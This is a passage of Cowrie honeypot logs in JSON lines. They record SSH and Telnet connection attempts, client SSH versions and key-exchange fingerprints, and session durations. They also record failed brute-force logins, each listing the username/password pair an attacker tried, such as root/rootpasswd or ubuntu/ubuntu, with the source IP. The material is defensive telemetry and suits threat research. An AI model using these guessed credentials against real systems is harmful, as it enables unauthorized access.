rt-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:13:46.816648Z","src_ip":"8.218.166.49","session":"ea16aa29e992","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:13:49.677248Z","src_ip":"8.218.166.49","session":"ea16aa29e992","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":50798,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b686bab8e42","protocol":"ssh","message":"New connection: 198.23.150.42:50798 (10.17.0.5:22) [session: 1b686bab8e42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:13:53.601753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:13:53.612797Z","src_ip":"198.23.150.42","session":"1b686bab8e42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:13:53.631171Z","src_ip":"198.23.150.42","session":"1b686bab8e42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootpasswd","message":"login attempt [root/rootpasswd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:13:53.740105Z","src_ip":"198.23.150.42","session":"1b686bab8e42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:13:54.769405Z","src_ip":"198.23.150.42","session":"1b686bab8e42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:13:55.439165Z","src_ip":"8.218.166.49","session":"ea16aa29e992","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.705049991607666,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:13:55.754740Z","src_ip":"114.239.117.124","session":"39c23bf5d20f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":32988,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcf944ea2dc3","protocol":"ssh","message":"New connection: 68.183.178.130:32988 (10.17.0.5:22) [session: fcf944ea2dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:03.981824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:03.987538Z","src_ip":"68.183.178.130","session":"fcf944ea2dc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:04.224659Z","src_ip":"68.183.178.130","session":"fcf944ea2dc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nat123","message":"login attempt [root/nat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:05.202379Z","src_ip":"68.183.178.130","session":"fcf944ea2dc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:06.442933Z","src_ip":"68.183.178.130","session":"fcf944ea2dc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":48357,"dst_ip":"10.17.0.5","dst_port":22,"session":"4589aab0f2e0","protocol":"ssh","message":"New connection: 49.207.40.162:48357 (10.17.0.5:22) [session: 4589aab0f2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:16.938631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:16.943819Z","src_ip":"49.207.40.162","session":"4589aab0f2e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:17.162499Z","src_ip":"49.207.40.162","session":"4589aab0f2e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:18.054881Z","src_ip":"49.207.40.162","session":"4589aab0f2e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:19.272880Z","src_ip":"49.207.40.162","session":"4589aab0f2e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":56022,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc0e81392046","protocol":"ssh","message":"New connection: 182.180.57.212:56022 (10.17.0.5:22) [session: cc0e81392046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:21.886234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:21.891098Z","src_ip":"182.180.57.212","session":"cc0e81392046","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:22.134029Z","src_ip":"182.180.57.212","session":"cc0e81392046","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:23.138520Z","src_ip":"182.180.57.212","session":"cc0e81392046","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:24.385670Z","src_ip":"182.180.57.212","session":"cc0e81392046","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":45908,"dst_ip":"10.17.0.5","dst_port":22,"session":"937406e762af","protocol":"ssh","message":"New connection: 8.218.166.49:45908 (10.17.0.5:22) [session: 937406e762af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:32.317738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:32.327257Z","src_ip":"8.218.166.49","session":"937406e762af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:32.912016Z","src_ip":"8.218.166.49","session":"937406e762af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:34.092378Z","src_ip":"8.218.166.49","session":"937406e762af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:35.773706Z","src_ip":"8.218.166.49","session":"937406e762af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":36320,"dst_ip":"10.17.0.5","dst_port":22,"session":"0eecfa4f322d","protocol":"ssh","message":"New connection: 8.218.166.49:36320 (10.17.0.5:22) [session: 0eecfa4f322d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:42.961723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:42.965318Z","src_ip":"8.218.166.49","session":"0eecfa4f322d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":52934,"dst_ip":"10.17.0.5","dst_port":22,"session":"0eefb817f79b","protocol":"ssh","message":"New connection: 68.183.178.130:52934 (10.17.0.5:22) [session: 0eefb817f79b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:46.128385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:46.132686Z","src_ip":"68.183.178.130","session":"0eefb817f79b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:46.368493Z","src_ip":"68.183.178.130","session":"0eefb817f79b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:47.346840Z","src_ip":"68.183.178.130","session":"0eefb817f79b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:48.585293Z","src_ip":"68.183.178.130","session":"0eefb817f79b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":47898,"dst_ip":"10.17.0.5","dst_port":22,"session":"094e7198bac2","protocol":"ssh","message":"New connection: 8.218.166.49:47898 (10.17.0.5:22) [session: 094e7198bac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:51.572549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:51.576354Z","src_ip":"8.218.166.49","session":"094e7198bac2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":39860,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa0c4a05578e","protocol":"ssh","message":"New connection: 2.57.122.238:39860 (159.203.135.109:22) [session: aa0c4a05578e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:55.206759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:55.211112Z","src_ip":"2.57.122.238","session":"aa0c4a05578e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:55.310496Z","src_ip":"2.57.122.238","session":"aa0c4a05578e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:55.608964Z","src_ip":"2.57.122.238","session":"aa0c4a05578e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:56.711180Z","src_ip":"2.57.122.238","session":"aa0c4a05578e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":50684,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f2459e18f78","protocol":"ssh","message":"New connection: 8.218.166.49:50684 (10.17.0.5:22) [session: 3f2459e18f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:14:57.449019Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":43940,"dst_ip":"10.17.0.5","dst_port":22,"session":"c46f4ed11ff8","protocol":"ssh","message":"New connection: 14.63.196.175:43940 (10.17.0.5:22) [session: c46f4ed11ff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:06.795371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:06.801666Z","src_ip":"14.63.196.175","session":"c46f4ed11ff8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gc